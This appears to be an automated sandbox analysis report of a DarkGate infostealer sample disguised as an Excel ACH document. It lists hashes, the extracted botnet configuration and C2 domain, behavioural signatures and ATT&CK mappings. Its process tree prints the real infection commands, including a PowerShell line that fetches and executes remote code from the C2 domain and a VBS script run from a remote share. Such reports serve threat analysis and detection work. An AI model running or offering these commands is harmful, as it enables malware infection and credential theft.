darkgate | 79ebb9f1d447cc3aa7a757366b3deec702d0659209059800b9f553adb45e6161

Analysis

max time kernel
143s
max time network
148s
platform
windows10-1703_x64
resource
win10-20240221-en
resource tags

arch:x64arch:x86image:win10-20240221-enlocale:en-usos:windows10-1703-x64system
submitted
15-03-2024 19:47

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General

Target

ACH-5634-15March.xlsx
Size

48KB
MD5

ee31ad80a97f3f17db35d8add92e3396
SHA1

16bcf433568390b8ca3d2190eac5a66d4828aab9
SHA256

79ebb9f1d447cc3aa7a757366b3deec702d0659209059800b9f553adb45e6161
SHA512

2df8814928f5f0983f54694db1bb2337e15990fb2d90438b99763844e763009a7ff65c0fbe9491aea5e3dda458aaf60ef909bc3b74d2798aee02dabdbc7268cb
SSDEEP

768:ZFlppbq6i4Y/TJC4xJMxXcvFLwAPq4Sxv9PvEgzegYN1T/r:tLq94YV7JMxXyd4x+gzexTj

Score

10^/10

darkgate admin888 stealer

Malware Config

Extracted

Family

darkgate

Botnet

admin888

diveupdown.com

Attributes

anti_analysis
true
anti_debug
false
anti_vm
true
c2_port
80
check_disk
false
check_ram
false
check_xeon
false
crypter_au3
false
crypter_dll
false
crypter_raw_stub
false
internal_mutex
VfiPBBhr
minimum_disk
50
minimum_ram
4000
ping_interval
6
rootkit
false
startup_persistence
true
username
admin888

Signatures

DarkGate
DarkGate is an infostealer written in C++.
stealer darkgate

Detect DarkGate stealer 2 IoCs

resource	yara_rule
behavioral1/memory/5076-263-0x0000000003110000-0x0000000003183000-memory.dmp	family_darkgate_v6
behavioral1/memory/5076-265-0x0000000003110000-0x0000000003183000-memory.dmp	family_darkgate_v6

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	4784	3276	WScript.exe	73

Blocklisted process makes network request 4 IoCs

flow	pid	Process
34	4160	powershell.exe
36	4160	powershell.exe
41	4160	powershell.exe
42	4160	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
5076	AutoHotkey.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 5 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	AutoHotkey.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AutoHotkey.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3276	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
4160	powershell.exe
4160	powershell.exe
4160	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4160	powershell.exe

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
3276	EXCEL.EXE
3276	EXCEL.EXE
3276	EXCEL.EXE
3276	EXCEL.EXE
3276	EXCEL.EXE
3276	EXCEL.EXE
3276	EXCEL.EXE
3276	EXCEL.EXE
3276	EXCEL.EXE
3276	EXCEL.EXE
3276	EXCEL.EXE
3276	EXCEL.EXE

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 3276 wrote to memory of 4784	3276	EXCEL.EXE	76
PID 3276 wrote to memory of 4784	3276	EXCEL.EXE	76
PID 4784 wrote to memory of 4160	4784	WScript.exe	77
PID 4784 wrote to memory of 4160	4784	WScript.exe	77
PID 4160 wrote to memory of 840	4160	powershell.exe	79
PID 4160 wrote to memory of 840	4160	powershell.exe	79
PID 4160 wrote to memory of 5076	4160	powershell.exe	80
PID 4160 wrote to memory of 5076	4160	powershell.exe	80
PID 4160 wrote to memory of 5076	4160	powershell.exe	80
PID 4160 wrote to memory of 1708	4160	powershell.exe	81
PID 4160 wrote to memory of 1708	4160	powershell.exe	81

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
1708	attrib.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\ACH-5634-15March.xlsx"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3276
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "\\147.182.156.154\share\EXCEL_DOCUMENT_OPEN.XLSX.vbs"
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:4784
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (Invoke-RestMethod -Uri 'diveupdown.com/uyvbjbho')
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4160
  - - C:\Windows\system32\certutil.exe
      "C:\Windows\system32\certutil.exe" -decodehex a.bin AutoHotkey.exe
      4⤵
      PID:840
  - - C:\fpcg\AutoHotkey.exe
      "C:\fpcg\AutoHotkey.exe" script.ahk
      4⤵
      Executes dropped EXE
      Checks processor information in registry
      PID:5076
  - - C:\Windows\system32\attrib.exe
      "C:\Windows\system32\attrib.exe" +h C:/fpcg
      4⤵
      Views/modifies file attributes
      PID:1708

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xctirach.hwg.ps1

Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

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C:\fpcg\AutoHotkey.exe

Filesize
892KB

MD5
a59a2d3e5dda7aca6ec879263aa42fd3

SHA1
312d496ec90eb30d5319307d47bfef602b6b8c6c

SHA256
897b0d0e64cf87ac7086241c86f757f3c94d6826f949a1f0fec9c40892c0cecb

SHA512
852972ca4d7f9141ea56d3498388c61610492d36ea7d7af1b36d192d7e04dd6d9bc5830e0dcb0a5f8f55350d4d8aaac2869477686b03f998affbac6321a22030

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C:\fpcg\a.bin

Filesize
1.7MB

MD5
bf88d228baec74c7928df463db0f0fdc

SHA1
efe1657bb9a9a31742b71d8c14bae89b2ab5533b

SHA256
493099b55ea0da872d3b9855c5a60752833e737be547ebc5328caea2bf0542ed

SHA512
c247a0dbba9971a8949729f888a4d8b10ca188b6fabedb9d1fe9cc7907cc4d807e66f3367ca287bf1e4062c342cbb7a724a9cc168018f55bc187e04897c8bdfa

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C:\fpcg\script.ahk

Filesize
52KB

MD5
3433308fb4cfbf4754f37f8429cca3f6

SHA1
a98c60ac207b30e015fa970059cd3d6af5aad11f

SHA256
bf1bdcce4d86d8fce80f359f1a871c1bc70e29b3fcdff1d2ac70570ecf5a1bdc

SHA512
0cc02989002194d4e86dd2452b552360a4472d72e261921cf2b13ab50523d789732b5b677c664ae73c5751180665417b349c3c424c41fb0d27026bc7f8f9b3cf

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C:\fpcg\test.txt

Filesize
442KB

MD5
f8ebb71ef947041796fa74bfe0d6049d

SHA1
b3e432e831216652ca3254dff909cc6390950ad5

SHA256
4f726ccf3d03c0d1b0291378948d4d3c5aafd509f16e75ea73475211f4cc6df3

SHA512
70921eaec63d157b5e1abe302c92b9ccfebc0ea0f28f7984a739ae9fa14eacfe0c6fe70b31d3c2836bd012fbac93460e420a48e9c2418c01fd7e0ab6bd83a6ed

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memory/3276-26-0x00007FFD796B0000-0x00007FFD7988B000-memory.dmp

Filesize
1.9MB

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memory/3276-22-0x00007FFD773D0000-0x00007FFD7747E000-memory.dmp

Filesize
696KB

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memory/3276-9-0x00007FFD796B0000-0x00007FFD7988B000-memory.dmp

Filesize
1.9MB

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memory/3276-29-0x00007FFD796B0000-0x00007FFD7988B000-memory.dmp

Filesize
1.9MB

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memory/3276-12-0x00007FFD796B0000-0x00007FFD7988B000-memory.dmp

Filesize
1.9MB

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memory/3276-10-0x00007FFD796B0000-0x00007FFD7988B000-memory.dmp

Filesize
1.9MB

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memory/3276-13-0x00007FFD796B0000-0x00007FFD7988B000-memory.dmp

Filesize
1.9MB

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memory/3276-14-0x00007FFD796B0000-0x00007FFD7988B000-memory.dmp

Filesize
1.9MB

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memory/3276-15-0x00007FFD796B0000-0x00007FFD7988B000-memory.dmp

Filesize
1.9MB

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memory/3276-18-0x00007FFD35C70000-0x00007FFD35C80000-memory.dmp

Filesize
64KB

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memory/3276-16-0x00007FFD796B0000-0x00007FFD7988B000-memory.dmp

Filesize
1.9MB

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memory/3276-20-0x00007FFD796B0000-0x00007FFD7988B000-memory.dmp

Filesize
1.9MB

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memory/3276-19-0x00007FFD796B0000-0x00007FFD7988B000-memory.dmp

Filesize
1.9MB

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memory/3276-17-0x00007FFD796B0000-0x00007FFD7988B000-memory.dmp

Filesize
1.9MB

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memory/3276-21-0x00007FFD796B0000-0x00007FFD7988B000-memory.dmp

Filesize
1.9MB

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memory/3276-5-0x00007FFD39740000-0x00007FFD39750000-memory.dmp

Filesize
64KB

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memory/3276-23-0x00007FFD796B0000-0x00007FFD7988B000-memory.dmp

Filesize
1.9MB

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memory/3276-181-0x00007FFD796B0000-0x00007FFD7988B000-memory.dmp

Filesize
1.9MB

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memory/3276-25-0x00007FFD796B0000-0x00007FFD7988B000-memory.dmp

Filesize
1.9MB

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memory/3276-0-0x00007FFD39740000-0x00007FFD39750000-memory.dmp

Filesize
64KB

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memory/3276-27-0x00007FFD796B0000-0x00007FFD7988B000-memory.dmp

Filesize
1.9MB

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memory/3276-28-0x00007FFD796B0000-0x00007FFD7988B000-memory.dmp

Filesize
1.9MB

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memory/3276-11-0x00007FFD35C70000-0x00007FFD35C80000-memory.dmp

Filesize
64KB

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memory/3276-180-0x00007FFD796B0000-0x00007FFD7988B000-memory.dmp

Filesize
1.9MB

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memory/3276-24-0x00007FFD796B0000-0x00007FFD7988B000-memory.dmp

Filesize
1.9MB

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memory/3276-182-0x00007FFD796B0000-0x00007FFD7988B000-memory.dmp

Filesize
1.9MB

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memory/3276-1-0x00007FFD796B0000-0x00007FFD7988B000-memory.dmp

Filesize
1.9MB

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memory/3276-2-0x00007FFD39740000-0x00007FFD39750000-memory.dmp

Filesize
64KB

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memory/3276-3-0x00007FFD39740000-0x00007FFD39750000-memory.dmp

Filesize
64KB

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memory/3276-4-0x00007FFD796B0000-0x00007FFD7988B000-memory.dmp

Filesize
1.9MB

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memory/3276-7-0x00007FFD796B0000-0x00007FFD7988B000-memory.dmp

Filesize
1.9MB

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memory/4160-230-0x00007FFD53B90000-0x00007FFD5457C000-memory.dmp

Filesize
9.9MB

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memory/4160-215-0x0000022699BD0000-0x0000022699BE0000-memory.dmp

Filesize
64KB

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memory/4160-220-0x000002269A560000-0x000002269A722000-memory.dmp

Filesize
1.8MB

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memory/4160-200-0x0000022699DC0000-0x0000022699E36000-memory.dmp

Filesize
472KB

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memory/4160-231-0x0000022699BD0000-0x0000022699BE0000-memory.dmp

Filesize
64KB

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memory/4160-232-0x0000022699BD0000-0x0000022699BE0000-memory.dmp

Filesize
64KB

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memory/4160-233-0x0000022699BD0000-0x0000022699BE0000-memory.dmp

Filesize
64KB

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memory/4160-197-0x0000022699C10000-0x0000022699C32000-memory.dmp

Filesize
136KB

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memory/4160-196-0x0000022699BD0000-0x0000022699BE0000-memory.dmp

Filesize
64KB

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memory/4160-195-0x0000022699BD0000-0x0000022699BE0000-memory.dmp

Filesize
64KB

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memory/4160-194-0x00007FFD53B90000-0x00007FFD5457C000-memory.dmp

Filesize
9.9MB

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memory/4160-262-0x00007FFD53B90000-0x00007FFD5457C000-memory.dmp

Filesize
9.9MB

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memory/5076-263-0x0000000003110000-0x0000000003183000-memory.dmp

Filesize
460KB

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memory/5076-265-0x0000000003110000-0x0000000003183000-memory.dmp

Filesize
460KB

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